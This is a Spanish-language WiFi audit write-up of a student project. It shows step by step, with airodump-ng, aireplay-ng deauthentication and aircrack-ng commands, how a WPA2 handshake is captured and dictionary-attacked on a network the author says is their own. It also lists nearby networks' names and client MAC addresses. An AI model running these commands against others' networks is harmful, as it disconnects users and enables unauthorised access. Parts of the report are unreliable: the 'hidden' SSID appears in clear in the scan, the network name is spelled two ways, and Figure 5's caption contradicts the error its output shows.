

## FASE 2

# AUDITORÍA DE SEGURIDAD WIFI

Captura y análisis de un handshake WPA2 en una red con SSID oculto

*Proyecto enfocado en la vulnerabilidad y el vector de ataque*

**Autora: Eleonor Arias**

Entorno de pruebas: red propia (WiFi personal del autor)

## Resumen ejecutivo

Este informe documenta una auditoría práctica de seguridad WiFi realizada sobre una red propia y controlada, con el objetivo de evaluar la resistencia del protocolo WPA2 frente a un ataque de diccionario. El ejercicio abarcó desde la configuración de un adaptador USB en modo monitor hasta la captura de un handshake de autenticación de cuatro vías, superando además la dificultad añadida de un identificador de red (SSID) oculto.

El resultado principal confirma un principio fundamental de la seguridad WiFi: la robustez de una red WPA2 depende de la fortaleza de su contraseña y no del ocultamiento del nombre de la red. Aunque el SSID estaba oculto, fue posible revelarlo forzando la reautenticación de un cliente conectado; sin embargo, la contraseña de la red auditada resistió el ataque de diccionario, lo que demuestra una configuración adecuada por parte del propietario.

## Objetivo del proyecto

Demostrar, en un entorno controlado y de propiedad del autor, la vulnerabilidad teórica de las redes WiFi protegidas con WPA2 ante ataques de diccionario, mediante la captura de un handshake de autenticación y el intento de recuperación de la contraseña a partir de dicho archivo.

### Alcance

1. Configuración de un adaptador WiFi USB en modo monitor.
2. Captura de un handshake WPA2 en una red con SSID oculto.
3. Ejecución de un ataque de diccionario con la suite Aircrack-ng.
4. Análisis de los resultados obtenidos y de las lecciones aprendidas durante el proceso.

### Hardware y herramientas utilizadas

| Componente              | Detalle                                                       |
|-------------------------|---------------------------------------------------------------|
| Adaptador WiFi          | USB AC1200 — chipset Realtek RTL88x2bu                        |
| Sistema operativo       | Linux Mint XFCE (kernel 7.0.0-28)                             |
| Suite de herramientas   | Aircrack-ng (airodump-ng, aireplay-ng, aircrack-ng)           |
| Utilidad complementaria | tshark, para inspeccionar el contenido del archivo de captura |

## Preparación del entorno de trabajo

Tras conectar el adaptador WiFi USB al equipo, se verificó su reconocimiento a nivel de hardware mediante el comando `lsusb`. A continuación, se comprobó si el kernel de Linux había generado automáticamente una interfaz de red asociada al dispositivo, y esta se activó manualmente para dejarla lista para su uso con herramientas de análisis de red.

```

leonXxito@fsociety:~$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
    link/ether 60:f2:62:22:a8:80 brd ff:ff:ff:ff:ff:ff
    altname wlp0s20f3
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default
    link/ether 2a:82:b5:dc:6b:5a brd ff:ff:ff:ff:ff:ff
7: wlx909164306c59: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
    link/ether 90:91:64:30:6c:59 brd ff:ff:ff:ff:ff:ff
8: CloudflareWARP: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc mq state UNKNOWN mode DEFAULT group default qlen 500
    link/none
leonXxito@fsociety:~$ sudo ip link set wlx909164306c59 up
leonXxito@fsociety:~$ ip link show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
2: wlo1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DORMANT group default qlen 1000
    link/ether 60:f2:62:22:a8:80 brd ff:ff:ff:ff:ff:ff
    altname wlp0s20f3
3: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DEFAULT group default
    link/ether 2a:82:b5:dc:6b:5a brd ff:ff:ff:ff:ff:ff
7: wlx909164306c59: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc noqueue state DOWN mode DORMANT group default qlen 1000
    link/ether 90:91:64:30:6c:59 brd ff:ff:ff:ff:ff:ff
8: CloudflareWARP: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1300 qdisc mq state UNKNOWN mode DEFAULT group default qlen 500
    link/none
leonXxito@fsociety:~$

```

Figura 1. Verificación e interfaz de red antes y después de activar el adaptador (ip link show).

## Escaneo de redes disponibles

### Escaneo pasivo (sin modo monitor)

El primer escaneo se realizó sin activar el modo monitor. Este tipo de escaneo es pasivo y básico: el adaptador se limita a preguntar al sistema operativo qué redes están disponibles, sin necesidad de permisos especiales.

```

leonXxito@fsociety:~$ sudo iw dev wlx909164306c59 scan | grep -E "SSID|signal|channel"
signal: -35.00 dBm
SSID: \x00\x00\x00\x00\x00\x00\x00\x00\x00
DS Parameter set: channel 6
    * primary channel: 6
    * secondary channel offset: no secondary
    * STA channel width: 20 MHz
    * channel width: 0 (20 or 40 MHz)
signal: -58.00 dBm
SSID: EDWIN2.4
DS Parameter set: channel 11
    * primary channel: 11
    * secondary channel offset: no secondary
    * STA channel width: 20 MHz
    * channel utilisation: 23/255
    * channel(s): 1 2 3 4 5 6 7 8 9 10 11 12 13
    * channel width: 0 (20 or 40 MHz)

```

Figura 2. Escaneo pasivo con iw dev scan; obsérvese el SSID oculto representado como bytes nulos.

Este método presenta dos limitaciones relevantes para los fines de la auditoría:

- Únicamente muestra las redes visibles, sin capturar paquetes ni detalles avanzados.
- No permite capturar handshakes ni ejecutar ningún tipo de ataque.

### Activación del modo monitor

Para superar dichas limitaciones, se activó el modo monitor sobre el adaptador con airmon-ng. La herramienta identificó cuatro procesos en el sistema (avahi-daemon, NetworkManager y wpa\_supplicant, entre otros) que podían interferir con la captura, y activó el modo monitor directamente sobre la interfaz existente.

```
leonXxito0@fsociety:~$ sudo airmon-ng start wlx909164306c59

Found 4 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before putting
the card in monitor mode, they will interfere by changing channels
and sometimes putting the interface back in managed mode

  PID Name
  7371 avahi-daemon
  7372 avahi-daemon
  8052 NetworkManager
  8158 wpa_supplicant

PHY      Interface      Driver      Chipset
phy0     wlo1                iwlwifi     Intel Corporation Cannon Point-LP CNVi [Wireless-AC] (rev 30)
phy5     wlx909164306c59    rtl88_8822bu Realtek Semiconductor Corp. RTL88x2bu [AC1200 Techkey]
                    (monitor mode enabled)

leonXxito0@fsociety:~$
```

Figura 3. Activación del modo monitor con airmon-ng sobre el adaptador RTL88x2bu.

**Nota técnica:** a diferencia de otros adaptadores, este dispositivo no crea una interfaz virtual independiente (como mon0); el modo monitor queda activado directamente sobre la interfaz original wlx909164306c59.

## Escaneo activo (con modo monitor)

Con el modo monitor habilitado, se ejecutó un escaneo activo y profundo con airodump-ng. A diferencia del escaneo pasivo, este método captura todo el tráfico WiFi presente en el aire y expone información detallada de cada red y de los dispositivos asociados a ella.

```
sudo airodump-ng wlx909164306c59
```

```
CH 5 ][ Elapsed: 2 mins ][ 2026-08-01 18:33

BSSID          PWR  Beacons  #Data, #/s  CH  MB  ENC  CIPHER  AUTH  ESSID
70:9F:2D:A6:18:BC -1      0          0  0  1  -1      WPA2  CCMP  PSK  <length: 0>
86:EA:ED:D5:58:E2 -72     2          0  0  1  65      WPA2  CCMP  PSK  <length: 0>
3C:78:95:52:3B:58 -70     4          0  0  5  360     WPA2  CCMP  PSK  FULLDATA
C0:25:E9:58:55:32 -71    47          0  0  1  130     WPA2  CCMP  PSK  TP-LINK_5532
C0:25:2F:06:DD:4A -72    14         46  0  10 270     WPA2  CCMP  PSK  CORDERITOS
32:F9:47:1F:20:CB -61   245          4  0  11 324     WPA2  CCMP  PSK  EDWIN2.4
20:C0:47:60:E1:D8 -41   353          0  0  6  540     WPA2  CCMP  PSK  <length: 9>
30:16:9D:81:12:17 -32   439          0  0  9  270     WPA2  CCMP  PSK  FSociety_NoViolesElCodigo
32:16:9D:22:70:71 -61   392          0  0  3  360     WPA2  CCMP  PSK  <length: 0>
30:16:9D:62:70:71 -57   212          0  0  3  360     WPA2  CCMP  PSK  YVM

BSSID          STATION          PWR  Rate  Lost  Frames  Notes  Probes
70:9F:2D:A6:18:BC C2:25:E9:08:55:32 -72   0 - 1e  0      4
(not associated) EE:FB:97:36:09:5B -47   0 - 1  0     30
(not associated) 4A:F2:DA:A2:C3:F9 -41   0 - 1  0    107
(not associated) 82:59:8E:33:6A:7A -69   0 - 1  0      3
(not associated) 0E:C5:7F:5C:04:A6 -64   0 - 1  0      6
(not associated) 64:66:D8:0A:18:E9 -30   0 - 1  0    251
(not associated) 16:83:0C:C2:0D:74 -30   0 - 1  0     95
(not associated) 7E:89:19:DC:2E:45 -38   0 - 1  0    128
(not associated) 5C:8A:AE:88:2B:51 -58   0 - 1  23     99
(not associated) 44:72:AC:9D:E7:8F -51   0 - 1  81    353
C0:25:2F:06:DD:4A D2:8B:49:42:FE:C0 -66   0 - 1e  0     22
C0:25:2F:06:DD:4A A2:1A:AE:AF:9A:AA -63   0 - 6e 962    113

WIFI LINUX-5G,WIFI LINUX01,FSociety_NoViolesElCodigo,internet facil,Estetica Diana
MIRGRE,MOVISTAR 9700,Pipoka,Sukkot-5G,TECNO POVA 5,TP-LINK_64EBC2,Tupapa,Tupapa-5G
FSociety_NoViolesElCodigo,Pipoka
FSociety_NoViolesElCodigo,Holis,Pipoka,WIFI LINUX-5G
internet facil,FSociety_NoViolesElCodigo,NOSHAKIRA02,Dentalix_5G,Tupapa-5G,JOHAN
Dentalix_5G,JOHAN -1,Pipoka,Sukkot-5G,FSociety_NoViolesElCodigo,NOSHAKIRA02,LO
TP-LINK_64EBC2,Tupapa-5G,WIFI LINUX-5G,WIFI LINUX01,Estetica Diana Style 2.4G,Pipo
Tupapa
```

Figura 4. Escaneo activo mostrando las redes cercanas, incluyendo el objetivo con SSID oculto (<length: 0>).

## Captura del handshake

Durante el escaneo del espectro, se identificó la red de pruebas Fsociety\_NoViolesElCodigo (BSSID 30:16:9D:81:12:17), operando en el canal 9. Se dirigió la captura específicamente a este punto de acceso:

```
sudo airodump-ng -c 9 --bssid 30:16:9D:81:12:17 -w captura_fsociety wlx909164306c59
```

La captura generó un conjunto de archivos que se verificó con:

```
ls -la captura_fsociety*
```

obteniéndose el archivo principal captura\_fsociety-01.cap, junto con sus metadatos asociados (.csv, .kismet.csv, .kismet.netxml y .log.csv).

## Primer intento de análisis

Se intentó verificar la validez del handshake capturado con aircrack-ng:

```
sudo aircrack-ng captura_fsociety-01.cap
```

La herramienta detectó correctamente el punto de acceso, pero solicitó especificar un diccionario mediante la opción -w antes de continuar.

## Diagnóstico: el obstáculo del SSID oculto

Al seleccionar el diccionario disponible más completo (master.list, con más de dos millones de entradas) y relanzar el ataque, aircrack-ng devolvió un nuevo error indicando que era necesario especificar el ESSID (nombre de la red) mediante la opción -e.

```
sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list captura_fsociety-01.cap
```

Este comportamiento se debe a una particularidad técnica del protocolo: aunque aircrack-ng admite identificar la red por su BSSID, necesita también el ESSID para derivar la clave maestra por pares (PMK). El ESSID forma parte de la entrada del algoritmo de derivación de claves PBKDF2, de modo que sin él la herramienta no puede generar las claves candidatas necesarias para compararlas con el handshake capturado.

Para confirmar que el archivo de captura no contenía el ESSID en ningún punto, se inspeccionó con tshark:

```
tshark -r captura_fsociety-01.cap -Y "wlan.ssid" -T fields -e wlan.ssid 2>/dev/null
```

El comando no devolvió ningún resultado, confirmando que el nombre de la red no estaba presente en la captura debido a que el SSID permanecía oculto.

## Solución: captura del ESSID en vivo

Dado que el ESSID no podía recuperarse directamente del archivo .cap, se recurrió a una técnica activa para forzarlo a aparecer en el aire. El procedimiento combinó dos herramientas de la suite Aircrack-ng:

- Escucha dirigida al punto de acceso objetivo, para capturar el ESSID en cuanto un cliente se conecte:

```
sudo airodump-ng -c 9 --bssid 30:16:9D:81:12:17 wlx909164306c59
```

- Envío de tramas de desautenticación para forzar la reconexión de un cliente legítimo, momento en el que el ESSID se transmite en claro:

```
sudo aireplay-ng -0 2 -a 30:16:9D:81:12:17 wlx909164306c59
```

Esta técnica aprovecha que, tras una desconexión forzada, el cliente debe volver a autenticarse y, en ese intercambio, revela el nombre real de la red — incluso si esta lo mantiene oculto en sus balizas (beacons) habituales.

## Resultado del ataque de diccionario

Con el ESSID ya conocido (FSociety\_NoVoilesElCodigo), se relanzó el ataque de diccionario especificándolo de forma explícita:

```
sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list -e FSociety_NoVoilesElCodigo captura_fsociety-01.cap
```

```

leonXxito@fsociety:~$ sudo aircrack-ng -w /home/leon2001/Documentos/wordlist/WPA/master.list captura_fsociety-01.cap
Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1918 packets.

# BSSID          ESSID          Encryption
1 30:16:9D:81:12:17          Unknown

Choosing first network as target.

Reading packets, please wait...
Opening captura_fsociety-01.cap
Read 1918 packets.

1 potential targets

An ESSID is required. Try option -e.

Quitting aircrack-ng...

```

Figura 5. Ataque de diccionario en ejecución sobre el canal 9, con el ESSID correctamente identificado.

El proceso confirmó lo siguiente:

- Aircrack-ng se ejecutó correctamente sobre el canal 9.
- La red objetivo (30:16:9D:81:12:17) quedó identificada con su ESSID correcto.
- El ataque de diccionario recorrió íntegramente el archivo master.list contra el handshake capturado.

*Resultado: la contraseña no se encontró en el diccionario utilizado, lo que indica que la red auditada es resistente frente a ataques de diccionario basados en listas de contraseñas comunes.*

## Conclusiones

El error inicial ("An ESSID is required") se resolvió capturando el ESSID en vivo mediante airodump-ng y forzando la reconexión de un cliente con aireplay-ng. Esto permitió a aircrack-ng ejecutar correctamente el ataque de diccionario sobre el handshake capturado.

Aunque la contraseña no fue hallada en el diccionario master.list, el ejercicio permitió extraer tres conclusiones principales:

5. Es técnicamente posible capturar un handshake WPA2 completo en un entorno controlado.
6. Es posible descubrir un SSID oculto en tiempo real, mediante técnicas de desautenticación forzada.
7. La seguridad real de una red WiFi depende de la robustez de su contraseña, y no de mecanismos superficiales como el ocultamiento del SSID, que solo añaden una capa mínima de ofuscación fácilmente superable.

## Recomendaciones

- Utilizar contraseñas WPA2/WPA3 largas, aleatorias y no presentes en diccionarios públicos.
- No depender del ocultamiento del SSID como medida de seguridad; tratarlo, a lo sumo, como una medida cosmética adicional.
- Migrar, cuando sea posible, a WPA3, que introduce el protocolo SAE y mitiga los ataques de diccionario offline sobre el handshake.
- Supervisar la red ante tramas de desautenticación anómalas, que pueden ser indicio de un intento de ataque en curso.